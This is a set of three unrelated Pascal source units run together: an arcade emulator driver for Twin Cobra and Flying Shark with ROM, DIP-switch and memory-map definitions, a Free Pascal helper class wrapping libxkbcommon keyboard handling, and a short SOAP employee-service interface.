unit twincobra_hw; interface uses {$IFDEF WINDOWS}windows,{$ENDIF} m68000,nz80,main_engine,controls_engine,gfx_engine,tms32010,ym_3812, rom_engine,pal_engine,sound_engine; function iniciar_twincobra:boolean; implementation const //Twin Cobra twincobr_rom:array[0..3] of tipo_roms=( (n:'b30-01';l:$10000;p:0;crc:$07f64d13),(n:'b30-03';l:$10000;p:$1;crc:$41be6978), (n:'tc15';l:$8000;p:$20000;crc:$3a646618),(n:'tc13';l:$8000;p:$20001;crc:$d7d1e317)); twincobr_snd_rom:tipo_roms=(n:'tc12';l:$8000;p:0;crc:$e37b3c44); twincobr_char:array[0..2] of tipo_roms=( (n:'tc11';l:$4000;p:0;crc:$0a254133),(n:'tc03';l:$4000;p:$4000;crc:$e9e2d4b1), (n:'tc04';l:$4000;p:$8000;crc:$a599d845)); twincobr_sprites:array[0..3] of tipo_roms=( (n:'tc20';l:$10000;p:0;crc:$cb4092b8),(n:'tc19';l:$10000;p:$10000;crc:$9cb8675e), (n:'tc18';l:$10000;p:$20000;crc:$806fb374),(n:'tc17';l:$10000;p:$30000;crc:$4264bff8)); twincobr_fg_tiles:array[0..3] of tipo_roms=( (n:'tc01';l:$10000;p:0;crc:$15b3991d),(n:'tc02';l:$10000;p:$10000;crc:$d9e2e55d), (n:'tc06';l:$10000;p:$20000;crc:$13daeac8),(n:'tc05';l:$10000;p:$30000;crc:$8cc79357)); twincobr_bg_tiles:array[0..3] of tipo_roms=( (n:'tc07';l:$8000;p:0;crc:$b5d48389),(n:'tc08';l:$8000;p:$8000;crc:$97f20fdc), (n:'tc09';l:$8000;p:$10000;crc:$170c01db),(n:'tc10';l:$8000;p:$18000;crc:$44f5accd)); twincobr_mcu_rom:array[0..1] of tipo_roms=( (n:'dsp_22.bin';l:$800;p:0;crc:$79389a71),(n:'dsp_21.bin';l:$800;p:$1;crc:$2d135376)); twincobr_dip_a:array [0..4] of def_dip=( (mask:$2;name:'Flip Screen';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$2;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$8;name:'Demo Sounds';number:2;dip:((dip_val:$8;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$30;name:'Coin A';number:4;dip:((dip_val:$30;dip_name:'4C 1C'),(dip_val:$20;dip_name:'3C 1C'),(dip_val:$10;dip_name:'2C 1C'),(dip_val:$0;dip_name:'1C 1C'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c0;name:'Coin B';number:4;dip:((dip_val:$0;dip_name:'1C 2C'),(dip_val:$40;dip_name:'1C 3C'),(dip_val:$80;dip_name:'1C 4C'),(dip_val:$c0;dip_name:'1C 6C'),(),(),(),(),(),(),(),(),(),(),(),())),()); twincobr_dip_b:array [0..4] of def_dip=( (mask:$3;name:'Difficulty';number:4;dip:((dip_val:$1;dip_name:'Easy'),(dip_val:$0;dip_name:'Normal'),(dip_val:$2;dip_name:'Hard'),(dip_val:$3;dip_name:'Very Hard'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c;name:'Bonus Life';number:4;dip:((dip_val:$0;dip_name:'50K 200K 150K+'),(dip_val:$4;dip_name:'70K 270K 200K+'),(dip_val:$8;dip_name:'50K'),(dip_val:$c;dip_name:'100K'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$30;name:'Lives';number:4;dip:((dip_val:$30;dip_name:'2'),(dip_val:$0;dip_name:'3'),(dip_val:$20;dip_name:'4'),(dip_val:$10;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$40;name:'Dip Switch Display';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$40;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),()); //Flying Shark fshark_rom:array[0..1] of tipo_roms=( (n:'b02_18-1.m8';l:$10000;p:0;crc:$04739e02),(n:'b02_17-1.p8';l:$10000;p:$1;crc:$fd6ef7a8)); fshark_snd_rom:tipo_roms=(n:'b02_16.l5';l:$8000;p:0;crc:$cdd1a153); fshark_char:array[0..2] of tipo_roms=( (n:'b02_07-1.h11';l:$4000;p:0;crc:$e669f80e),(n:'b02_06-1.h10';l:$4000;p:$4000;crc:$5e53ae47), (n:'b02_05-1.h8';l:$4000;p:$8000;crc:$a8b05bd0)); fshark_sprites:array[0..3] of tipo_roms=( (n:'b02_01.d15';l:$10000;p:0;crc:$2234b424),(n:'b02_02.d16';l:$10000;p:$10000;crc:$30d4c9a8), (n:'b02_03.d17';l:$10000;p:$20000;crc:$64f3d88f),(n:'b02_04.d20';l:$10000;p:$30000;crc:$3b23a9fc)); fshark_fg_tiles:array[0..3] of tipo_roms=( (n:'b02_12.h20';l:$8000;p:0;crc:$733b9997),(n:'b02_15.h24';l:$8000;p:$8000;crc:$8b70ef32), (n:'b02_14.h23';l:$8000;p:$10000;crc:$f711ba7d),(n:'b02_13.h21';l:$8000;p:$18000;crc:$62532cd3)); fshark_bg_tiles:array[0..3] of tipo_roms=( (n:'b02_08.h13';l:$8000;p:0;crc:$ef0cf49c),(n:'b02_11.h18';l:$8000;p:$8000;crc:$f5799422), (n:'b02_10.h16';l:$8000;p:$10000;crc:$4bd099ff),(n:'b02_09.h15';l:$8000;p:$18000;crc:$230f1582)); fshark_mcu_rom:array[0..7] of tipo_roms=( (n:'82s137-1.mcu';l:$400;p:0;crc:$cc5b3f53),(n:'82s137-2.mcu';l:$400;p:$400;crc:$47351d55), (n:'82s137-3.mcu';l:$400;p:$800;crc:$70b537b9),(n:'82s137-4.mcu';l:$400;p:$c00;crc:$6edb2de8), (n:'82s137-5.mcu';l:$400;p:$1000;crc:$f35b978a),(n:'82s137-6.mcu';l:$400;p:$1400;crc:$0459e51b), (n:'82s137-7.mcu';l:$400;p:$1800;crc:$cbf3184b),(n:'82s137-8.mcu';l:$400;p:$1c00;crc:$8246a05c)); fshark_dip_a:array [0..5] of def_dip=( (mask:$1;name:'Cabinet';number:2;dip:((dip_val:$1;dip_name:'Upright'),(dip_val:$0;dip_name:'Cocktail'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),(mask:$2;name:'Flip Screen';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$2;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$8;name:'Demo Sounds';number:2;dip:((dip_val:$8;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$30;name:'Coin A';number:4;dip:((dip_val:$30;dip_name:'4C 1C'),(dip_val:$20;dip_name:'3C 1C'),(dip_val:$10;dip_name:'2C 1C'),(dip_val:$0;dip_name:'1C 1C'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c0;name:'Coin B';number:4;dip:((dip_val:$0;dip_name:'1C 2C'),(dip_val:$40;dip_name:'1C 3C'),(dip_val:$80;dip_name:'1C 4C'),(dip_val:$c0;dip_name:'1C 6C'),(),(),(),(),(),(),(),(),(),(),(),())),()); fshark_dip_b:array [0..5] of def_dip=( (mask:$3;name:'Difficulty';number:4;dip:((dip_val:$1;dip_name:'Easy'),(dip_val:$0;dip_name:'Normal'),(dip_val:$2;dip_name:'Hard'),(dip_val:$3;dip_name:'Very Hard'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c;name:'Bonus Life';number:4;dip:((dip_val:$0;dip_name:'50K 200K 150K+'),(dip_val:$4;dip_name:'70K 270K 200K+'),(dip_val:$8;dip_name:'50K'),(dip_val:$c;dip_name:'100K'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$30;name:'Lives';number:4;dip:((dip_val:$30;dip_name:'2'),(dip_val:$0;dip_name:'3'),(dip_val:$20;dip_name:'1'),(dip_val:$10;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$40;name:'Dip Switch Display';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$40;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$80;name:'Allow Continue';number:2;dip:((dip_val:$0;dip_name:'No'),(dip_val:$80;dip_name:'Yes'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),()); var rom:array[0..$17fff] of word; ram,bg_ram:array[0..$1fff] of word; display_on,int_enable,twincobr_dsp_BIO,dsp_execute:boolean; txt_ram,sprite_ram:array[0..$7ff] of word; fg_ram:array[0..$fff] of word; txt_offs,bg_offs,fg_offs,bg_bank,fg_bank:word; main_ram_seg,dsp_addr_w:dword; txt_scroll_x,txt_scroll_y,bg_scroll_x,bg_scroll_y,fg_scroll_x,fg_scroll_y:word; procedure update_video_twincobr; var f,color,nchar,x,y,atrib:word; procedure draw_sprites(priority:word); var f,atrib,x,y,nchar,color:word; flipx,flipy:boolean; begin for f:=0 to $1ff do begin atrib:=sprite_ram[$1+(f shl 2)]; if ((atrib and $0c00)=priority) then begin x:=sprite_ram[3+(f shl 2)] shr 7; if (x and $1ff)>$100 then continue; nchar:=(sprite_ram[(f shl 2)]) and $7ff; color:=atrib and $3f; y:=512-(((sprite_ram[$2+(f shl 2)]) shr 7)+144) and $1ff; flipy:=(atrib and $100)<>0; flipx:=(atrib and $200)<>0; if flipy then y:=y+14; // should really be 15 */ put_gfx_sprite(nchar,color shl 4,flipx,flipy,3); actualiza_gfx_sprite((x-16) and $1ff,(y-32) and $1ff,4,3); end; end; end; begin if display_on then begin for f:=$7ff downto 0 do begin //Chars atrib:=txt_ram[f]; color:=(atrib and $F800) shr 11; if (gfx[0].buffer[f] or buffer_color[color]) then begin x:=(f shr 6) shl 3; y:=(63-(f and $3f)) shl 3; nchar:=atrib and $7ff; put_gfx_trans(x,y,nchar,(color shl 3)+$600,1,0); gfx[0].buffer[f]:=false; end; end; for f:=0 to $fff do begin atrib:=bg_ram[f+bg_bank]; color:=(atrib and $F000) shr 12; if (gfx[2].buffer[f+bg_bank] or buffer_color[color+$30]) then begin //background x:=(f shr 6) shl 3; y:=(63-(f and $3f)) shl 3; nchar:=atrib and $fff; put_gfx(x,y,nchar,(color shl 4)+$400,3,2); gfx[2].buffer[f+bg_bank]:=false; end; atrib:=fg_ram[f]; color:=(atrib and $F000) shr 12; if (gfx[1].buffer[f] or buffer_color[color+$20]) then begin //foreground x:=(f shr 6) shl 3; y:=(63-(f and $3f)) shl 3; nchar:=(atrib and $fff)+fg_bank; put_gfx_trans(x,y,nchar,(color shl 4)+$500,2,1); gfx[1].buffer[f]:=false; end; end; scroll_x_y(3,4,bg_scroll_x+30,512-bg_scroll_y+137); draw_sprites($400); scroll_x_y(2,4,fg_scroll_x+30,512-fg_scroll_y+137); draw_sprites($800); scroll_x_y(1,4,256-txt_scroll_x-30,512-txt_scroll_y+137); draw_sprites($c00); end else fill_full_screen(4,$7ff); actualiza_trozo_final(0,0,240,320,4); fillchar(buffer_color[0],MAX_COLOR_BUFFER,0); end; procedure eventos_twincobr; begin if event.arcade then begin //P1 if arcade_input.left[0] then marcade.in0:=(marcade.in0 or $4) else marcade.in0:=(marcade.in0 and $fb); if arcade_input.right[0] then marcade.in0:=(marcade.in0 or $8) else marcade.in0:=(marcade.in0 and $f7); if arcade_input.up[0] then marcade.in0:=(marcade.in0 or $1) else marcade.in0:=(marcade.in0 and $fe); if arcade_input.down[0] then marcade.in0:=(marcade.in0 or $2) else marcade.in0:=(marcade.in0 and $fd); if arcade_input.but0[0] then marcade.in0:=(marcade.in0 or $20) else marcade.in0:=(marcade.in0 and $df); if arcade_input.but1[0] then marcade.in0:=(marcade.in0 or $10) else marcade.in0:=(marcade.in0 and $ef); //P1 if arcade_input.left[1] then marcade.in1:=(marcade.in1 or $4) else marcade.in1:=(marcade.in1 and $fb); if arcade_input.right[1] then marcade.in1:=(marcade.in1 or $8) else marcade.in1:=(marcade.in1 and $f7); if arcade_input.up[1] then marcade.in1:=(marcade.in1 or $1) else marcade.in1:=(marcade.in1 and $fe); if arcade_input.down[1] then marcade.in1:=(marcade.in1 or $2) else marcade.in1:=(marcade.in1 and $fd); if arcade_input.but0[1] then marcade.in1:=(marcade.in1 or $20) else marcade.in1:=(marcade.in1 and $df); if arcade_input.but1[1] then marcade.in1:=(marcade.in1 or $10) else marcade.in1:=(marcade.in1 and $ef); //SYSTEM if arcade_input.coin[0] then marcade.in2:=(marcade.in2 or $8) else marcade.in2:=(marcade.in2 and $f7); if arcade_input.coin[1] then marcade.in2:=(marcade.in2 or $10) else marcade.in2:=(marcade.in2 and $ef); if arcade_input.start[0] then marcade.in2:=(marcade.in2 or $20) else marcade.in2:=(marcade.in2 and $df); if arcade_input.start[1] then marcade.in2:=(marcade.in2 or $40) else marcade.in2:=(marcade.in2 and $bf); end; end; procedure twincobra_principal; var f:word; frame_m,frame_s,frame_mcu:single; begin init_controls(false,false,false,true); frame_m:=m68000_0.tframes; frame_s:=z80_0.tframes; frame_mcu:=tms32010_0.tframes; while EmuStatus=EsRuning do begin for f:=0 to 285 do begin //MAIN CPU m68000_0.run(frame_m); frame_m:=frame_m+m68000_0.tframes-m68000_0.contador; //SND CPU z80_0.run(frame_s); frame_s:=frame_s+z80_0.tframes-z80_0.contador; //MCU tms32010_0.run(frame_mcu); frame_mcu:=frame_mcu+tms32010_0.tframes-tms32010_0.contador; case f of 0:marcade.in2:=marcade.in2 and $7f; 240:begin marcade.in2:=marcade.in2 or $80; if int_enable then begin m68000_0.irq[4]:=HOLD_LINE; int_enable:=false; end; update_video_twincobr; end; end; end; eventos_twincobr; video_sync; end; end; //Main CPU function twincobr_getword(direccion:dword):word; begin case direccion of 0..$2ffff:twincobr_getword:=rom[direccion shr 1]; $30000..$33fff:twincobr_getword:=ram[(direccion and $3fff) shr 1]; $40000..$40fff:twincobr_getword:=sprite_ram[(direccion and $fff) shr 1]; $50000..$50dff:twincobr_getword:=buffer_paleta[(direccion and $fff) shr 1]; $78000:twincobr_getword:=marcade.dswa; $78002:twincobr_getword:=marcade.dswb; $78004:twincobr_getword:=marcade.in0; $78006:twincobr_getword:=marcade.in1; $78008:twincobr_getword:=marcade.in2; $7e000:twincobr_getword:=txt_ram[txt_offs]; $7e002:twincobr_getword:=bg_ram[bg_offs+bg_bank]; $7e004:twincobr_getword:=fg_ram[fg_offs]; $7a000..$7afff:twincobr_getword:=mem_snd[$8000+((direccion and $fff) shr 1)]; //Shared RAM end; end; procedure twincobr_putword(direccion:dword;valor:word); procedure cambiar_color(numero,valor:word); var color:tcolor; begin color.b:=pal5bit(valor shr 10); color.g:=pal5bit(valor shr 5); color.r:=pal5bit(valor); set_pal_color(color,numero); case numero of 1024..1279:buffer_color[((numero shr 4) and $f)+$30]:=true; 1280..1535:buffer_color[((numero shr 4) and $f)+$20]:=true; 1536..1791:buffer_color[(numero shr 3) and $1f]:=true; end; end; begin case direccion of 0..$2ffff:; $30000..$33fff:ram[(direccion and $3fff) shr 1]:=valor; $3ffe0..$3ffef:; $40000..$40fff:sprite_ram[(direccion and $fff) shr 1]:=valor; $50000..$50dff:if buffer_paleta[(direccion and $fff) shr 1]<>valor then begin buffer_paleta[(direccion and $fff) shr 1]:=valor; cambiar_color((direccion and $ffe) shr 1,valor); end; $60000..$60003:; $70000:txt_scroll_y:=valor; $70002:txt_scroll_x:=valor; $70004:txt_offs:=valor and $7ff; $72000:bg_scroll_y:=valor; $72002:bg_scroll_x:=valor; $72004:bg_offs:=valor and $fff; $74000:fg_scroll_y:=valor; $74002:fg_scroll_x:=valor; $74004:fg_offs:=valor and $fff; $76000..$76003:; $7800a:case (valor and $ff) of $00:begin // This means assert the INT line to the DSP */ tms32010_0.change_halt(CLEAR_LINE); m68000_0.change_halt(ASSERT_LINE); tms32010_0.change_irq(ASSERT_LINE); end; $01:begin // This means inhibit the INT line to the DSP */ tms32010_0.change_irq(CLEAR_LINE); tms32010_0.change_halt(ASSERT_LINE); end; end; $7800c:case (valor and $ff) of $04:int_enable:=false; $05:int_enable:=true; $06,$07:; $08:bg_bank:=$0000; $09:bg_bank:=$1000; $0a:fg_bank:=$0000; $0b:fg_bank:=$1000; $0c:begin // This means assert the INT line to the DSP */ tms32010_0.change_halt(CLEAR_LINE); m68000_0.change_halt(ASSERT_LINE); tms32010_0.change_irq(ASSERT_LINE); end; $0d:begin // This means inhibit the INT line to the DSP */ tms32010_0.change_irq(CLEAR_LINE); tms32010_0.change_halt(ASSERT_LINE); end; $0e:display_on:=false; $0f:display_on:=true; end; $7e000:if txt_ram[txt_offs]<>valor then begin txt_ram[txt_offs]:=valor; gfx[0].buffer[txt_offs]:=true; end; $7e002:if bg_ram[bg_offs+bg_bank]<>valor then begin bg_ram[bg_offs+bg_bank]:=valor; gfx[2].buffer[bg_offs+bg_bank]:=true; end; $7e004:if fg_ram[fg_offs]<>valor then begin fg_ram[fg_offs]:=valor; gfx[1].buffer[fg_offs]:=true; end; $7a000..$7afff:mem_snd[$8000+((direccion and $fff) shr 1)]:=valor and $ff; //Shared RAM end; end; function twincobr_snd_getbyte(direccion:word):byte; begin if direccion<$8800 then twincobr_snd_getbyte:=mem_snd[direccion]; end; procedure twincobr_snd_putbyte(direccion:word;valor:byte); begin case direccion of 0..$7fff:; $8000..$87ff:mem_snd[direccion]:=valor; end; end; function twincobr_snd_inbyte(puerto:word):byte; begin case (puerto and $ff) of 0:twincobr_snd_inbyte:=ym3812_0.status; $10:twincobr_snd_inbyte:=marcade.in2; $20,$30:twincobr_snd_inbyte:=0; $40:twincobr_snd_inbyte:=marcade.dswa; $50:twincobr_snd_inbyte:=marcade.dswb; end; end; procedure twincobr_snd_outbyte(puerto:word;valor:byte); begin case (puerto and $ff) of $0:ym3812_0.control(valor); $1:ym3812_0.write(valor); end; end; procedure snd_irq(irqstate:byte); begin z80_0.change_irq(irqstate); end; function twincobr_dsp_r:word; begin // DSP can read data from main CPU RAM via DSP IO port 1 */ case main_ram_seg of $30000,$40000,$50000:twincobr_dsp_r:=twincobr_getword(main_ram_seg+dsp_addr_w); else twincobr_dsp_r:=0; end; end; procedure twincobr_dsp_w(valor:word); begin // Data written to main CPU RAM via DSP IO port 1 */ dsp_execute:=false; case main_ram_seg of $30000:begin if ((dsp_addr_w<3) and (valor=0)) then dsp_execute:=true; twincobr_putword(main_ram_seg+dsp_addr_w,valor); end; $40000,$50000:twincobr_putword(main_ram_seg+dsp_addr_w,valor); end; end; procedure twincobr_dsp_addrsel_w(valor:word); begin main_ram_seg:=((valor and $e000) shl 3); dsp_addr_w:=((valor and $1fff) shl 1); end; procedure twincobr_dsp_bio_w(valor:word); begin twincobr_dsp_BIO:=(valor and $8000)=0; if (valor=0) then begin if dsp_execute then begin m68000_0.change_halt(CLEAR_LINE); dsp_execute:=false; end; twincobr_dsp_BIO:=true; end; end; function twincobr_BIO_r:boolean; begin twincobr_BIO_r:=twincobr_dsp_BIO; end; procedure twincobr_update_sound; begin ym3812_0.update; end; //Main procedure reset_twincobra; begin m68000_0.reset; z80_0.reset; tms32010_0.reset; ym3812_0.reset; reset_audio; txt_scroll_y:=457; txt_scroll_x:=226; bg_scroll_x:=40; bg_scroll_y:=0; fg_scroll_x:=0; fg_scroll_y:=0; marcade.in0:=0; marcade.in1:=0; marcade.in2:=0; txt_offs:=0; bg_offs:=0; fg_offs:=0; bg_bank:=0; fg_bank:=0; int_enable:=false; display_on:=true; twincobr_dsp_BIO:=false; dsp_execute:=false; main_ram_seg:=0; dsp_addr_w:=0; end; function iniciar_twincobra:boolean; var memoria_temp:array[0..$3ffff] of byte; temp_rom:array[0..$fff] of word; f:word; const pc_y:array[0..7] of dword=(0*8, 1*8, 2*8, 3*8, 4*8, 5*8, 6*8, 7*8); ps_x:array[0..15] of dword=(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15); ps_y:array[0..15] of dword=(0*16, 1*16, 2*16, 3*16, 4*16, 5*16, 6*16, 7*16, 8*16, 9*16, 10*16, 11*16, 12*16, 13*16, 14*16, 15*16); procedure convert_chars; begin init_gfx(0,8,8,2048); gfx[0].trans[0]:=true; gfx_set_desc_data(3,0,8*8,0*2048*8*8,1*2048*8*8,2*2048*8*8); convert_gfx(0,0,@memoria_temp,@ps_x,@pc_y,false,true); end; procedure convert_tiles(ngfx:byte;ntiles:word); begin init_gfx(ngfx,8,8,ntiles); gfx[ngfx].trans[0]:=true; gfx_set_desc_data(4,0,8*8,0*ntiles*8*8,1*ntiles*8*8,2*ntiles*8*8,3*ntiles*8*8); convert_gfx(ngfx,0,@memoria_temp,@ps_x,@pc_y,false,true); end; procedure convert_sprites; begin init_gfx(3,16,16,2048); gfx[3].trans[0]:=true; gfx_set_desc_data(4,0,32*8,0*2048*32*8,1*2048*32*8,2*2048*32*8,3*2048*32*8); convert_gfx(3,0,@memoria_temp,@ps_x,@ps_y,false,true); end; begin iniciar_twincobra:=false; llamadas_maquina.bucle_general:=twincobra_principal; llamadas_maquina.reset:=reset_twincobra; llamadas_maquina.fps_max:=(28000000/4)/(446*286); iniciar_audio(false); screen_init(1,256,512,true); screen_mod_scroll(1,256,256,255,512,512,511); screen_init(2,512,512,true); screen_mod_scroll(2,512,256,511,512,512,511); screen_init(3,512,512); screen_mod_scroll(3,512,256,511,512,512,511); screen_init(4,512,512,false,true); iniciar_video(240,320); //Main CPU m68000_0:=cpu_m68000.create(24000000 div 4,286); m68000_0.change_ram16_calls(twincobr_getword,twincobr_putword); //Sound CPU z80_0:=cpu_z80.create(3500000,286); z80_0.change_ram_calls(twincobr_snd_getbyte,twincobr_snd_putbyte); z80_0.change_io_calls(twincobr_snd_inbyte,twincobr_snd_outbyte); z80_0.init_sound(twincobr_update_sound); //TMS MCU tms32010_0:=cpu_tms32010.create(14000000,286); tms32010_0.change_io_calls(twincobr_BIO_r,nil,twincobr_dsp_r,nil,nil,nil,nil,nil,nil,twincobr_dsp_addrsel_w,twincobr_dsp_w,nil,twincobr_dsp_bio_w,nil,nil,nil,nil); //Sound Chips ym3812_0:=ym3812_chip.create(YM3812_FM,3500000); ym3812_0.change_irq_calls(snd_irq); case main_vars.tipo_maquina of 146:begin //cargar roms if not(roms_load16w(@rom,twincobr_rom)) then exit; //cargar ROMS sonido if not(roms_load(@mem_snd,twincobr_snd_rom)) then exit; //cargar ROMS MCU if not(roms_load16b(tms32010_0.get_rom_addr,twincobr_mcu_rom)) then exit; //convertir chars if not(roms_load(@memoria_temp,twincobr_char)) then exit; convert_chars; //convertir tiles fg if not(roms_load(@memoria_temp,twincobr_fg_tiles)) then exit; convert_tiles(1,8192); //convertir tiles bg if not(roms_load(@memoria_temp,twincobr_bg_tiles)) then exit; convert_tiles(2,4096); //convertir tiles sprites if not(roms_load(@memoria_temp,twincobr_sprites)) then exit; convert_sprites; marcade.dswa:=0; marcade.dswb:=0; marcade.dswa_val:=@twincobr_dip_a; marcade.dswb_val:=@twincobr_dip_b; end; 147:begin //cargar roms if not(roms_load16w(@rom,fshark_rom)) then exit; //cargar ROMS sonido if not(roms_load(@mem_snd,fshark_snd_rom)) then exit; //cargar ROMS MCU if not(roms_load(@memoria_temp,fshark_mcu_rom)) then exit; for f:=0 to $3ff do begin temp_rom[f]:=(((memoria_temp[f] and $f) shl 4+(memoria_temp[f+$400] and $f)) shl 8) or (memoria_temp[f+$800] and $f) shl 4+(memoria_temp[f+$c00] and $f); end; for f:=0 to $3ff do begin temp_rom[f+$400]:=(((memoria_temp[f+$1000] and $f) shl 4+(memoria_temp[f+$1400] and $f)) shl 8) or (memoria_temp[f+$1800] and $f) shl 4+(memoria_temp[f+$1c00] and $f); end; copymemory(tms32010_0.get_rom_addr,@temp_rom,$1000); //convertir chars if not(roms_load(@memoria_temp,fshark_char)) then exit; convert_chars; //convertir tiles fg if not(roms_load(@memoria_temp,fshark_fg_tiles)) then exit; convert_tiles(1,4096); //convertir tiles bg if not(roms_load(@memoria_temp,fshark_bg_tiles)) then exit; convert_tiles(2,4096); //convertir tiles sprites if not(roms_load(@memoria_temp,fshark_sprites)) then exit; convert_sprites; marcade.dswa:=1; marcade.dswb:=$80; marcade.dswa_val:=@fshark_dip_a; marcade.dswb_val:=@fshark_dip_b; end; end; //final reset_twincobra; iniciar_twincobra:=true; end; end.
unit xkb_classes; {$mode objfpc}{$h+} interface uses Classes, sysutils,libxkbcommon, BaseUnix; type { TXKBHelper } TXKBHelper = class public class var ShiftKeys: array[TShiftStateEnum] of DWord; private class var Inited: Boolean; private FContext: Pxkb_context; FKeymap: Pxkb_keymap; FLastSym: xkb_keysym_t; FState: Pxkb_state; FComposeTable: Pxkb_compose_table; FComposeState: Pxkb_compose_state; FShiftState: TShiftState; function GetLocale: String; public constructor Create(Afd: LongInt; ASize: Integer); procedure UpdateKeyState(AModsDepressed, AModsLatched, AModsLocked, AGroup: LongWord); function ModState: TShiftState; function Feed(AKeySym: xkb_keysym_t): xkb_compose_feed_result; procedure ResetCompose; function LookupSym: xkb_keysym_t; function LookupUtf8: UTF8String; function ComposeStatus: xkb_compose_status; function KeySymToUtf8(AKeySym: xkb_keysym_t): UTF8String; function KeyCodeName(AKeyCode: xkb_keycode_t): String; function KeyGetSyms(AKey: LongWord; ASyms: PPxkb_keysym_t): Integer; property LastSym: xkb_keysym_t read FLastSym; end; implementation { TXKBHelper } function TXKBHelper.GetLocale: String; begin Result := GetEnvironmentVariable('LC_ALL'); if Result = '' then Result := GetEnvironmentVariable('LC_CTYPE'); if Result = '' then Result := GetEnvironmentVariable('LANG'); if Result = '' then Result := 'C'; end; constructor TXKBHelper.Create(Afd: LongInt; ASize: Integer); var lMemMap: Pointer; r: DWord; begin lMemMap:= Fpmmap(nil, ASize, PROT_READ, MAP_SHARED, Afd, 0); // if lMemMap = MAP_FAILED then begin exit; end; FContext := xkb_context_new(XKB_CONTEXT_NO_FLAGS); FKeymap := xkb_keymap_new_from_string(FContext, lMemMap, XKB_KEYMAP_FORMAT_TEXT_V1, XKB_KEYMAP_COMPILE_NO_FLAGS); Fpmunmap(lMemMap, ASize); FState:=xkb_state_new(FKeymap); FComposeTable := xkb_compose_table_new_from_locale(FContext, Pchar(GetLocale), XKB_COMPOSE_COMPILE_NO_FLAGS); FComposeState := xkb_compose_state_new(FComposeTable, XKB_COMPOSE_STATE_NO_FLAGS); if not Inited then begin r := xkb_keymap_mod_get_index(FKeymap, 'Shift'); ShiftKeys[ssShift] := 1 shl r; r := xkb_keymap_mod_get_index(FKeymap, 'Control'); ShiftKeys[ssCtrl] := 1 shl r; r := xkb_keymap_mod_get_index(FKeymap, 'Mod1'); ShiftKeys[ssAlt] := 1 shl r; r := xkb_keymap_mod_get_index(FKeymap, 'Mod4'); ShiftKeys[ssSuper] := 1 shl r; r := xkb_keymap_mod_get_index(FKeymap, 'Mod2'); ShiftKeys[ssNum] := 1 shl r; r := xkb_keymap_mod_get_index(FKeymap, 'Lock'); ShiftKeys[ssCaps] := 1 shl r; Inited:=True; end; end; procedure TXKBHelper.UpdateKeyState(AModsDepressed, AModsLatched, AModsLocked, AGroup: LongWord); var lMask: DWord; s: TShiftStateEnum; begin xkb_state_update_mask(FState, AModsDepressed, AModsLatched, AmodsLocked, 0,0, AGroup); lMask := xkb_state_serialize_mods(FState, xkb_state_component( DWORD(XKB_STATE_MODS_DEPRESSED) or DWORD(XKB_STATE_LAYOUT_DEPRESSED) or DWORD(XKB_STATE_MODS_LATCHED) or DWORD(XKB_STATE_LAYOUT_LATCHED) or DWORD(XKB_STATE_MODS_LOCKED) or DWORD(XKB_STATE_LAYOUT_LOCKED) )); for s in TShiftState do begin if ShiftKeys[s] = 0 then continue; if ShiftKeys[s] and lMask <> 0 then begin Include(FShiftState, s); //WriteLn('Added :', s); end else begin Exclude(FShiftState, s); //WriteLn('Removed :', s); end; end; end; function TXKBHelper.ModState: TShiftState; begin REsult := FShiftState; end; function TXKBHelper.Feed(AKeySym: xkb_keysym_t): xkb_compose_feed_result; begin Result := xkb_compose_state_feed(FComposeState, AKeySym); FLastSym := AKeySym; end; procedure TXKBHelper.ResetCompose; begin xkb_compose_state_reset(FComposeState); end; function TXKBHelper.LookupSym: xkb_keysym_t; begin // state is *not* XKB_COMPOSE_COMPOSED then it will return XKB_KEY_NoSymbol; Result := xkb_compose_state_get_one_sym(FComposeState); end; function TXKBHelper.LookupUtf8: UTF8String; var lSize: Integer; begin SetLength(Result, 128); lSize := xkb_compose_state_get_utf8(FComposeState, @Result[1], Length(Result)); SetLength(Result, lSize); end; function TXKBHelper.ComposeStatus: xkb_compose_status; begin Result := xkb_compose_state_get_status(FComposeState); end; function TXKBHelper.KeySymToUtf8(AKeySym: xkb_keysym_t): UTF8String; var lSize: Integer; begin repeat SetLength(Result, Length(Result)+4); lSize := xkb_keysym_to_utf8(AKeySym, @Result[1], Length(Result)); if lSize = 0 then Exit(''); // invalid string until lSize > 0; SetLength(Result, lSize); end; function TXKBHelper.KeyCodeName(AKeyCode: xkb_keycode_t): String; begin Result := xkb_keymap_key_get_name(FKeymap, AKeyCode); end; function TXKBHelper.KeyGetSyms(AKey: LongWord; ASyms: PPxkb_keysym_t): Integer; begin Result := xkb_state_key_get_syms(FState, AKey, ASyms); end; end.
unit SoapEmployeeIntf; interface uses InvokeRegistry, Types, XSBuiltIns; type ISoapEmployee = interface (IInvokable) ['{77D0D940-23EC-49A5-9630-ADE0751E3DB3}'] function GetEmployeeNames: string; stdcall; function GetEmployeeData (EmpID: string): string; stdcall; end; implementation initialization InvRegistry.RegisterInterface (TypeInfo (ISoapEmployee));; end.
